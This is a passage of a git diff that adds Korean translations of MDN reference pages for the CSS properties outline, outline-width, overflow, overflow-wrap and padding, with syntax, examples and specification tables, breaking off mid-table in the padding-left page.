+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }</pre>
+
+<h4 id="결과_5">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_inset_outset으로_설정하기') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Basic UI', '#outline-style', 'outline-style')}}</td>
+ <td>{{Spec2('CSS3 Basic UI')}}</td>
+ <td>Added <code>auto</code> value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-style', 'outline-style')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.outline-style")}}</p>
+</div>
diff --git a/files/ko/web/css/outline-width/index.html b/files/ko/web/css/outline-width/index.html
new file mode 100644
index 0000000000..0c25d34eb1
--- /dev/null
+++ b/files/ko/web/css/outline-width/index.html
@@ -0,0 +1,141 @@
+---
+title: outline-width
+slug: Web/CSS/outline-width
+tags:
+ - CSS
+ - CSS Outline
+ - CSS Property
+ - Layout
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/outline-width
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>outline-width</code></strong> 속성은 요소 외곽선의 두께를 설정합니다.</span> 외곽선은 요소의 <a href="/ko/docs/Web/CSS/border">테두리</a> 바깥에 그려지는 선입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-width.html")}}</div>
+
+
+
+<p>외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+outline-width: thin;
+outline-width: medium;
+outline-width: thick;
+
+/* &lt;length&gt; 값 */
+outline-width: 1px;
+outline-width: 0.1em;
+
+/* 전역 값 */
+outline-width: inherit;
+</pre>
+
+<p><code>outline-width</code> 속성은 다음 값 중 하나를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>외곽선의 두께를 <code>&lt;length&gt;</code>로 설정합니다.</dd>
+ <dt><code>thin</code></dt>
+ <dd>사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 <code>1px</code>입니다.</dd>
+ <dt><code>medium</code></dt>
+ <dd>사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 <code>3px</code>입니다.</dd>
+ <dt><code>thick</code></dt>
+ <dd>사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 <code>5px</code>입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요소의_외곽선_두께_설정하기">요소의 외곽선 두께 설정하기</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;span id="thin"&gt;thin&lt;/span&gt;
+&lt;span id="medium"&gt;medium&lt;/span&gt;
+&lt;span id="thick"&gt;thick&lt;/span&gt;
+&lt;span id="twopixels"&gt;2px&lt;/span&gt;
+&lt;span id="oneex"&gt;1ex&lt;/span&gt;
+&lt;span id="em"&gt;1.2em&lt;/span&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">span {
+ outline-style: solid;
+ display: inline-block;
+ margin: 20px;
+}
+
+#thin {
+ outline-width: thin;
+}
+
+#medium {
+ outline-width: medium;
+}
+
+#thick {
+ outline-width: thick;
+}
+
+#twopixels {
+ outline-width: 2px;
+}
+
+#oneex {
+ outline-width: 1ex;
+}
+
+#em {
+ outline-width: 1.2em;
+}
+
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('요소의_외곽선_두께_설정하기', '100%', '80')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Basic UI', '#outline-width', 'outline-width')}}</td>
+ <td>{{Spec2('CSS3 Basic UI')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-width', 'outline-width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.outline-width")}}</p>
diff --git a/files/ko/web/css/outline/index.html b/files/ko/web/css/outline/index.html
new file mode 100644
index 0000000000..4b578c289b
--- /dev/null
+++ b/files/ko/web/css/outline/index.html
@@ -0,0 +1,158 @@
+---
+title: outline
+slug: Web/CSS/outline
+tags:
+ - CSS
+ - CSS Outline
+ - CSS Property
+ - Layout
+ - Reference
+ - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/outline
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>outline</code></strong> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 모든 외곽선 속성을 한꺼번에 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>outline</code>은 단축 속성으로서 다음의 하위 속성을 포함합니다.</p>
+
+<ul>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* style */
+outline: solid;
+
+/* color | style */
+outline: #f66 dashed;
+
+/* style | width */
+outline: inset thick;
+
+/* color | style | width */
+outline: green solid 3px;
+
+/* 전역 값 */
+outline: inherit;
+outline: initial;
+outline: unset;
+</pre>
+
+<p><code>outline</code> 속성은 아래의 값 중 한 개에서 세 개를 사용해 지정할 수 있으며 순서는 상관하지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 요소의 외곽선은 스타일을 지정하지 않을 경우 보이지 않습니다. 스타일 기본값이 <code>none</code>이기 때문인데, 주목할만한 예외는 {{htmlelement("input")}} 요소로 브라우저의 기본 스타일이 적용됩니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;'outline-color'&gt;</code></dt>
+ <dd>외곽선의 색을 설정합니다. 누락 시 기본값은 <code>currentcolor</code>입니다. {{cssxref("outline-color")}}를 참고하세요.</dd>
+ <dt><code>&lt;'outline-style'&gt;</code></dt>
+ <dd>외곽선의 스타일을 설정합니다. 누락 시 기본값은 <code>none</code>입니다. {{cssxref("outline-style")}}을 참고하세요.</dd>
+ <dt><code>&lt;'outline-width'&gt;</code></dt>
+ <dd>외곽선의 두께를 설정합니다. 누락 시 기본값은 <code>medium</code>입니다. {{cssxref("outline-width")}}를 참고하세요.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><a href="/ko/docs/Web/CSS/border">테두리</a>와 외곽선은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.</p>
+
+<ul>
+ <li>외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.</li>
+ <li>명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.</li>
+</ul>
+
+<p>다른 모든 단축 속성과 마찬가지로, 누락한 하위 속성의 값은 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>으로 설정됩니다.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>outline</code>에 <code>0</code> 또는 <code>none</code> 값을 지정하면 브라우저의 기본 포커스 스타일이 사라집니다. 만약 어떤 요소가 상호작용 가능하다면 반드시 시각으로 포커스 여부를 나타낼 수 있어야 합니다. 기본 포커스 스타일을 제거한 경우 다른 뚜렷한 대안을 제공하세요.</p>
+
+<ul>
+ <li><a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">How to Design Useful and Usable Focus Indicators</a></li>
+ <li>
+ <p><abbr>WCAG</abbr> 2.1: <a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-visible.html">Understanding Success Criterion 2.4.7: Focus Visible</a></p>
+ </li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="외곽선으로_포커스_스타일_설정">외곽선으로 포커스 스타일 설정</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a href="#"&gt;This link has a special focus style.&lt;/a&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">a {
+ border: 1px solid;
+ border-radius: 3px;
+ display: inline-block;
+ margin: 10px;
+ padding: 5px;
+}
+
+a:focus {
+ outline: 4px dotted #e73;
+ outline-offset: 4px;
+ background: #ffa;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("외곽선으로_포커스_스타일_설정", "100%", 60)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Basic UI', '#outline', 'outline')}}</td>
+ <td>{{Spec2('CSS3 Basic UI')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline', 'outline')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.outline")}}</p>
+</div>
diff --git a/files/ko/web/css/overflow-wrap/index.html b/files/ko/web/css/overflow-wrap/index.html
new file mode 100644
index 0000000000..b2241a5b61
--- /dev/null
+++ b/files/ko/web/css/overflow-wrap/index.html
@@ -0,0 +1,118 @@
+---
+title: overflow-wrap
+slug: Web/CSS/overflow-wrap
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+translation_of: Web/CSS/overflow-wrap
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>overflow</strong></code><strong><code>-wrap</code></strong> CSS 요소는 어떤 문자가 내용 칸 밖으로 넘치지 않게 브라우저가 단어 마디 안에 줄을 바꿔야 할 것인지 아닌지를 정할 때 사용됩니다.</p>
+
+<div class="note"><strong>Note:</strong> {{cssxref("word-break")}}와는 달리, <code>overflow-wrap</code>은 모든 단어가 넘치지 않으면 자신의 줄 안에 놓여 있을 수 없을 때 줄 바꿈을 한 번만 할 것입니다.</div>
+
+<p>이 속성은 처음에 마이크로소프트에서 표준이 아니고 접두어가 없는 <code>word-wrap</code>으로 나왔고, 대부분 브라우저에서 똑같은 이름으로 구현되었습니다. 요즘은 <code>overflow-wrap</code>으로 다시 지어지고, <code>word-wrap</code>은 동의어가 되었습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+</pre>
+
+<p><code>overflow-wrap</code> 속성은 아래에 나열돼 있는 값들 중 단 하나로 정해집니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>줄이 오직 (두 단어 사이의 공백과 같이) 보통의 줄 바꿈 지점에서만 줄을 바꿉니다.</dd>
+ <dt><code>break-word</code></dt>
+ <dd>보통 안 바꿔지는 단어들을 한 줄에서 대신 줄을 바꿀 만한 지점이 없을 시 임의의 지점에서 줄을 바꿉니다.</dd>
+</dl>
+
+<h3 id="기본적인_구문">기본적인 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 긴 단어를 넘길 때 <code>overflow-wrap</code>, <code>word-break</code>, 그리고 <code>hyphens</code>의 결과를 비교합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;They say the fishing is excellent at
+ Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+ though I've never been there myself. (normal)&lt;/p&gt;
+&lt;p class="overflow-wrap"&gt;They say the fishing is excellent at
+ Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+ though I've never been there myself. (overflow-wrap)&lt;/p&gt;
+&lt;p class="word-break"&gt;They say the fishing is excellent at
+ Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+ though I've never been there myself. (word-break)&lt;/p&gt;
+&lt;p class="hyphens"&gt;They say the fishing is excellent at
+ Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+ though I've never been there myself. (hyphens)&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+ width: 13em;
+ background: gold;
+}
+
+.overflow-wrap {
+ overflow-wrap: break-word;
+}
+
+.word-break {
+ word-break: break-all;
+}
+
+.hyphens {
+ hyphens: auto;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example', '100%', 260) }}</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}</td>
+ <td>{{ Spec2('CSS3 Text') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.overflow-wrap")}}</p>
+
+
+
+<h2 id="See_also" name="See_also">바로 보기</h2>
+
+<ul>
+ <li>{{cssxref("word-break")}}</li>
+</ul>
diff --git a/files/ko/web/css/overflow/index.html b/files/ko/web/css/overflow/index.html
new file mode 100644
index 0000000000..5e5e2296ae
--- /dev/null
+++ b/files/ko/web/css/overflow/index.html
@@ -0,0 +1,146 @@
+---
+title: overflow
+slug: Web/CSS/overflow
+tags:
+ - CSS
+ - CSS Box Model
+ - CSS Property
+ - Layout
+ - Reference
+translation_of: Web/CSS/overflow
+---
+<div>{{CSSRef}}</div>
+
+<p id="Summary"><strong><code>overflow</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 콘텐츠가 너무 커서 요소의 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>에 맞출 수 없을 때의 처리법을 지정합니다. {{cssxref("overflow-x")}}, {{cssxref("overflow-y")}}의 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow.html")}}</div>
+
+
+
+<p>적용 가능한 방법은 잘라내기, 스크롤바 노출, 넘친 콘텐츠 그대로 노출 등이 있습니다.</p>
+
+<p><code>visible</code>(기본값)이 아닌 다른 값으로 <code>overflow</code> 속성을 사용할 경우 새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 문맥</a>을 생성합니다. 이는 기술적인 요구사항으로, 만약 스크롤하는 요소와 float이 교차한다면, 각 스크롤 단계마다 내용물을 강제적으로 다시 감싸게 될 것입니다. 이는 결국 스크롤 속도를 느리게 할 것입니다.</p>
+
+<p><code>overflow</code> 속성이 효력을 갖기 위해선 반드시 블록 레벨 컨테이너의 높이(<code>height</code> 또는 <code>max-height</code>)를 설정하거나, <code>white-space</code>를 <code>nowrap</code>으로 설정해야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 하나의 축을 <code>visible</code>(기본값)로 하고, 다른 축에는 다른 값을 지정할 경우 <code>visible</code>이 <code>auto</code>처럼 동작합니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: JavaScript {{domxref("Element.scrollTop")}} 속성을 사용하면 요소의 <code>overflow</code>가 <code>hidden</code>일 때도 스크롤할 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+overflow: visible;
+overflow: hidden;
+overflow: clip;
+overflow: scroll;
+overflow: auto;
+overflow: hidden visible;
+
+/* 전역 값 */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+</pre>
+
+<p><code>overflow</code> 속성은 아래의 키워드 값을 하나 또는 두 개 사용해 지정합니다. 두 개를 사용한 경우 첫 번째 값은 <code>overflow-x</code>, 두 번째 값은 <code>overflow-y</code>를 지정합니다. 하나만 사용하면 지정한 값을 양 축 모두에 적용합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>콘텐츠를 자르지 않으며 안쪽 여백 상자 밖에도 그릴 수 있습니다.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 스크롤바를 제공하지 않고, 스크롤할 방법(드래그, 마우스 휠 등)도 지원하지 않습니다. 코드를 사용해 스크롤할 수는 있으므로 ({{domxref("HTMLElement.offsetLeft", "offsetLeft")}} 속성 설정 등), 이 상태의 요소도 스크롤 컨테이너입니다.</dd>
+ <dt><code>clip</code> {{experimental_inline}}</dt>
+ <dd><code>hidden</code>과 마찬가지로, 콘텐츠를 안쪽 여백 상자에 맞춰 자릅니다. 그러나 <code>clip</code>은 코드를 사용한 스크롤링도 방지하므로 어떠한 스크롤도 불가능합니다. 이 상태의 요소는 스크롤 컨테이너가 아니며, 새로운 블록 서식 문맥도 생성하지 않습니다. 서식 문맥이 필요하다면 {{cssxref("display", "display:flow-root", "#flow-root")}}을 사용할 수 있습니다.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>콘텐츠를 안쪽 여백 상자에 맞추기 위해 잘라냅니다. 브라우저는 콘텐츠를 실제로 잘라냈는지 여부를 따지지 않고 항상 스크롤바를 노출하므로 내용의 변화에 따라 스크롤바가 생기거나 사라지지 않습니다. 프린터는 여전히 넘친 콘텐츠를 출력할 수도 있습니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 결정합니다. 콘텐츠가 안쪽 여백 상자에 들어간다면 <code>visible</code>과 동일하게 보이나, 새로운 블록 서식 문맥을 생성합니다. 데스크톱 브라우저의 경우 콘텐츠가 넘칠 때 스크롤바를 노출합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>overlay</code> {{deprecated_inline}}</dt>
+ <dd><code>auto</code>와 동일하게 동작하지만, 스크롤바가 공간을 차지하는 대신 콘텐츠 위에 위치합니다. Webkit(Safari 등)과 Blink(Chrome 또는 Opera 등) 기반 브라우저만 지원합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">p {
+ width: 12em;
+ height: 6em;
+ border: dotted;
+ overflow: visible; /* content is not clipped */
+}
+</pre>
+
+<p style="overflow: visible; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>visible</code> (default)<br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p { overflow: hidden; /* no scrollbars are provided */ }
+</pre>
+
+<p style="overflow: hidden; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: hidden</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p { overflow: scroll; /* always show scrollbars */ }
+</pre>
+
+<p style="overflow: scroll; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: scroll</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre class="brush: css">p { overflow: auto; /* append scrollbars if necessary */ }
+</pre>
+
+<p style="overflow: auto; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: auto</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}</td>
+ <td>{{Spec2('CSS3 Overflow')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#overflow1', 'overflow')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.overflow")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 CSS 속성: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-bottom/index.html b/files/ko/web/css/padding-bottom/index.html
new file mode 100644
index 0000000000..119bc4fd25
--- /dev/null
+++ b/files/ko/web/css/padding-bottom/index.html
@@ -0,0 +1,111 @@
+---
+title: padding-bottom
+slug: Web/CSS/padding-bottom
+tags:
+ - CSS
+ - CSS Padding
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/padding-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-bottom</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 아래쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-bottom.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<p><img alt="The effect of the CSS padding-top property on the element box" src="/files/4109/padding-bottom.svg" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-bottom: 0.5em;
+padding-bottom: 0;
+padding-bottom: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-bottom: 10%;
+
+/* 전역 값 */
+padding-bottom: inherit;
+padding-bottom: initial;
+padding-bottom: unset;
+</pre>
+
+<p><code>padding-top</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> <strong>너비</strong>의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-bottom: 5%; }
+.sidebox { padding-bottom: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-bottom') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-bottom') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>padding-bottom</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-bottom') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ Specname('CSS1', '#padding-bottom', 'padding-bottom') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.padding-bottom")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="en/CSS/box model">CSS 기본 박스 모델 입문</a></li>
+ <li>{{cssxref("padding")}}</li>
+</ul>
diff --git a/files/ko/web/css/padding-left/index.html b/files/ko/web/css/padding-left/index.html
new file mode 100644
index 0000000000..d866466b4c
--- /dev/null
+++ b/files/ko/web/css/padding-left/index.html
@@ -0,0 +1,109 @@
+---
+title: padding-left
+slug: Web/CSS/padding-left
+tags:
+ - CSS
+ - CSS Padding
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/padding-left
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>padding-left</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 왼쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#padding-area">안쪽 여백 영역</a>을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-left.html")}}</div>
+
+
+
+<p>요소의 안쪽 여백 영역은 콘텐츠와 테두리 사이의 공간입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{cssxref("padding")}} 속성을 사용하면 하나의 선언으로 네 방향 여백을 모두 설정할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+padding-left: 0.5em;
+padding-left: 0;
+padding-left: 2cm;
+
+/* &lt;percentage&gt; 값 */
+padding-left: 10%;
+
+/* 전역 값 */
+padding-left: inherit;
+padding-left: initial;
+padding-left: unset;
+</pre>
+
+<p><code>padding-left</code> 속성의 값은 아래 목록 중 하나로 지정할 수 있습니다. 바깥 여백<sup>margin</sup>과 다르게, 음수 값은 사용할 수 없습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>여백의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>여백의 크기로 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: css">.content { padding-left: 5%; }
+.sidebox { padding-left: 10px; }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-left') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-left') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>padding-left</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
